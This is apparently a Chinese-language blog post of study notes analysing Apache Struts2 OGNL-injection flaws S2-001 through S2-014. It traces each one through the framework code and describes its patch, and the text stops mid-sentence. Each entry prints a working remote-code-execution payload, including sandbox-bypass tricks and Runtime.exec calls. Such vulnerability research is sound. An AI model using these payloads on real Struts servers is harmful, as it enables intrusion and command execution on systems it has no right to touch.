0x01 前言

为了能过下班后和周末不用学习、混吃等死的美好生活,开始了知识补漏行动,于是就有了这篇又臭又长的学习笔记。调试环境打包放在了github上,直接用idea打开就可以运行调试。

https://github.com/proudwind/struts2_vulns/

0x02 漏洞分析

s2-001

影响版本: 2.0.0 - 2.0.8

payload

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

分析第一个漏洞的时候啰嗦一些,把struts2的运行流程梳理一下。

struts2是通过filter来拦截请求并处理,所以在struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/FilterDispatcher.class处,tomcat将请求交给struts2处理。

经过漫长的调用(待详细研究),在xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.classdoIntercept方法开始对传入的参数进行处理。

最后反射调用,又经过漫长的调用之后,在xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.classinvokeAction中调用了我们自定义的action。

在我们自定义的逻辑运行完之后,struts2将返回响应,并重新渲染jsp。问题就出在重新渲染时,struts2对ognl表达式进行了二次解析,导致攻击者输入的恶意表达式被执行。

继续跟进,这部分调用是将action的运行结果返回给tomcat,下一步开始重新渲染jsp页面,开始解析struts2自定义的标签。跟进到struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class

继续跟进到:struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.classevaluateParams方法,对标签属性进行解析。

如果开启了altSyntax,会将标签name属性的值(这里是username),用%{}包裹,进行进一步解析。

继续跟进到xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.classtranslateVariables方法:

这里会将%{}中的值取出来,放入findValue方法中,继续跟进:

xwork-2.0.3.jar!/com/opensymphony/xwork2/util/OgnlValueStack.class

可以看到在这个方法中ognl表达式传入了OgnlUtil.getValue并执行。

我们再回看translateVariables方法:

这个方法对表达式是是递归解析的,如果说%{username}的结果还是一个表达式(被%{}包裹)的话,那么程序会继续解析,这造成了恶意ognl表达式的执行。

防御

补丁中设置了一个最大循环解析次数,防止多次解析而造成漏洞。

s2-003

影响版本: 2.0.0 - 2.0.11.2

payload

1
2
//s2-003,无回显,payload中特殊字符要urlencode,否则tomcat会报400
(%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003dfalse%27)(a)(a)&('%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime().exec(%22open@-a@calculator.app%22.split(%22@%22))')(a)(a)

在tomcat9和tomcat8.5.45中发送payload都会返回400(urlencode也不好使),参考vulhub使用了tomcat8.5.14。

从payload来看,攻击分两步,首先开启ognl的方法调用,然后注入表达式执行代码。

xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.classdoIntercept处开始进行参数绑定:

安全起见,struts2禁止ognl表达式调用方法。跟进setParameters方法:

获取请求参数的key,并通过acceptableName方法来验证是否合法,跟进看一下:

对ognl中的一些关键字进行了过滤,可以通过unicode来绕过(# -> \u0023),具体原因会在分析中说,这就导致ognl表达式仍然可以正常执行。

验证完成之后,会对每一个传入的参数进行处理,并放入栈中。

继续跟进,来到xwork-2.0.4-sources.jar!/com/opensymphony/xwork2/util/OgnlValueStack.java

继续xwork-2.0.4-sources.jar!/com/opensymphony/xwork2/util/OgnlUtil.java

这里首先在上下文的expressions列表中查找是否有我们传入的表达式,如果没有就进行解析,并将结果保存在上下文中,接下来是一个极为漫长的调用:

到了ognl-2.6.11-sources.jar!/ognl/JavaCharStream.javareadChar方法:

如果\后面有u,会进行转码处理,又进行了一通set操作之后,来到了ognl-2.6.11-sources.jar!/ognl/ASTEval.javasetValueBody方法:

通过child的getValue方法,开始将传入的表达式一层层“剥开”,在一通get操作之后,来到了getValueBody方法:

此时node已经是一个原始的ognl表达式了,继续跟进,经过一通调用之后:

ognl-2.6.11-sources.jar!/ognl/OgnlRuntime.javasetProperty方法中,开启了方法调用。

至此我们完成了攻击的第一步,第二步代码执行过程比较相似,最后利用反射调用了表达式中的方法。

ognl-2.6.11-sources.jar!/ognl/ASTMethod.java

防御

事实证明官方对于s2-003的修复是失败的,但我们还是要看一下补丁,才能知道怎么绕过的:)。

首先是更为严格的正则表达式:

xwork-core-2.1.6-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java

但是并没有解决unicode编码绕过的问题。

同时设置了一个沙箱:

在上面的分析过程中,只跟到ognl-2.6.11-sources.jar!/ognl/ASTMethod.javacallStaticMethod方法就听了,现在继续跟进:

xwork-core-2.1.6.jar!/ognl/OgnlRuntime.class

跟进这个函数看一下:

xwork-core-2.1.6-sources.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.java

这就是struts2的沙箱,如果调用的方法是静态方法,则检查AllowStaticMethodAccess,如果不允许,就只能调用白名单中的静态方法。

s2-005

影响版本: 2.0.0 - 2.1.8.1

如果继续用s2-003的payload,在调试过程中就会发现攻击的第一步,即:

1
#context["xwork.MethodAccessor.denyMethodExecution"]=false

是生效的:

只是在第二步反射调用方法的时候受到了限制,限制的核心就是默认为false的allowStaticMethodAccess。那我们能不能用相同的方式将allowStaticMethodAccess设置为空呢?当然是可以的,payload如下:

payload

1
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%5cu003dtrue%27)(a)(a)&(%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003dfalse%27)(a)(a)&(('%5cu0023rt.exec(%22open@-a@calculator.app%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))(a)(a)

防御

补丁对参数的合法性进行了进一步的过滤:

xwork-core-2.2.3-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java

但是这样只是过滤了参数名,并没有过滤参数值,所以依然可以绕过,具体情况在s2-009中说。

s2-007

影响版本: 2.0.0 - 2.2.3

payload

1
2
3
'+(paylaod)+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))+'

触发这个漏洞需要一些配置,首先要配置一个validator:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
<message></message>
</field-validator>
</field>
</validators>

当我们传入的age参数无法通过验证时,页面会报错,同时触发漏洞。

请求在到达Action进行逻辑处理之前,会经过一系列的拦截器(interceptor),如果数据合法性验证不通过,会触发

xwork-core-2.2.3-sources.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.java这个拦截器:

将传入的参数逐一验证合法性,并将验证不通过的key、value放到fakie这个HashMap中。跟进getOverrideExpr看一下:

struts2-core-2.2.3-sources.jar!/org/apache/struts2/interceptor/StrutsConversionErrorInterceptor.java

反编译可能有点问题,其实就是:

1
return "'" + value + "'";

没有对value做任何过滤,直接拼接。所以paylaod为'+(paylaod)+',通过闭合单引号将ognl表达式注入进去。

剩下的流程在s2-001中有过描述,最后会进入xwork-2.0.3.jar!/com/opensymphony/xwork2/util/OgnlValueStack.classtranslateVariables方法,进行ognl表达式的解析和执行。

防御

xwork-core-2.3.1-sources.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.java

防御非常简单,在拼接时对单引号进行了转义。

s2-008

影响版本: 2.1.0 - 2.3.1

payload

需开启debug模式。

1
debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

防御

struts2-core-2.3.12.jar!/org/apache/struts2/interceptor/CookieInterceptor.class

xwork-core-2.3.12.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class中对加强了对参数的过滤。

s2-009

影响版本: 2.1.0 - 2.3.1

payload

1
username=(%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean(false),%23_memberAccess["allowStaticMethodAccess"]%3d+new+java.lang.Boolean(true),%40java.lang.Runtime%40getRuntime().exec('open%40-a%40Calculator.app'.split("%40")))&z[(username)(1)]

在s2-005的防御中我们提到了补丁仍然可以绕过,这是因为struts2只验证了参数的key的合法性,并没验证value。

这样就可以通过设置参数的value来将ognl表达式注入到上下文中。

首先我们将一个实际存在的参数的value设置为恶意的ognl表达式,以上面payload中的username参数为例。

接着我们传入第二个参数z[(username)(1)],struts2在解析这个表达式的时候会尝试调用Action中的getter来获取username的值(调用栈太长就不贴了)。

ognl-3.0.3-sources.jar!/ognl/OgnlRuntime.java

防御

xwork-core-2.3.12.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class

再次修改了正则表达式,防止(ognl)(1)这种形式的攻击。

s2-012

影响版本: 2.1.0 - 2.3.13

payload

直接使用s2-001的payload即可。

需要配置一个重定向:

1
2
3
4
5
6
7
<action name="login" class="cn.seaii.s2001.action.LoginAction">
<!--s2-012-->
<result name="redirect" type="redirect">/login.jsp?username=${username}</result>

<result name="success">login.jsp</result>
<result name="error">login.jsp</result>
</action>

Action:

1
2
3
4
5
6
7
8
9
10
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) {
return "success";
}
//return "error";
return "redirect"; //for s2-012
}

在自定义Action处理完请求之后,struts2会调用一系列的拦截器,将请求转化为响应。

xwork-core-2.3.12-sources.jar!/com/opensymphony/xwork2/DefaultActionInvocation.java

根据action的返回值(success、error、redirect等)来调用相应的类来处理。

继续跟进,会对要跳转到的地址进行一次ognl表达式的解析,又看到熟悉的translateVariables了。

由于这里第一次是$开头,恶意表达式是#,都会解析一次,所以payload可以正常解析并执行。

防御

struts2默认禁用eval表达式的执行。

xwork-core-2.3.14.1.jar!/com/opensymphony/xwork2/config/impl/DefaultConfiguration.class

s2-013/s2-014

影响版本: 2.0.0 - 2.3.14.1

payload

1
2
3
4
5
s2-013
a=%25{%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream())}

s2-014
s2-013的补丁只是将%{ognl}过滤,将%换成$即可绕过

struts2的标签中 <s:a><s:url> 都有一个 includeParams 属性,可以设置成如下值

  1. none - URL中包含任何参数(默认)
  2. get - 仅包含URL中的GET参数
  3. all - 在URL中包含GET和POST参数

includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。

此时<s:a><s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行

1
2
3
4
5
6
7
8
9
10
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<h2>S2-013 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-013.html">https://struts.apache.org/docs/s2-013.html</a></p>

<p>Try add some parameters in URL</p>
<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>

根据s2-001的经验,struts2在解析框架定义的标签时会调用

struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.javadoStartTag方法。

继续跟进到struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/components/ServletUrlRenderer.java,这里会进行url的渲染。

跟进renderUrl方法,然后继续跟进:

struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/views/util/DefaultUrlHelper.java

会将所有参数进行遍历,然后对参数值进行解析。

struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/views/util/DefaultUrlHelper.java

跟进translateAndEncode方法,又看到熟悉的translateVariables方法了。

注意看此时的context:

是允许静态方法调用的,但是allowStaticMethodAccess即沙箱是开启的。

防御

struts2-core-2.3.14.2-sources.jar!/org/apache/struts2/views/util/DefaultUrlHelper.java中将translateAndEncode方法改为了encode方法:

只将参数进行url编码后就返回,不再进行ognl表达式的解析。

与此同时,自2.3.14.2版本开始,struts2的沙箱发生了变化,xwork-core-2.3.14.2.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.class删除了setAllowStaticMethodAccess方法。这就意味只我们无法通过之前`%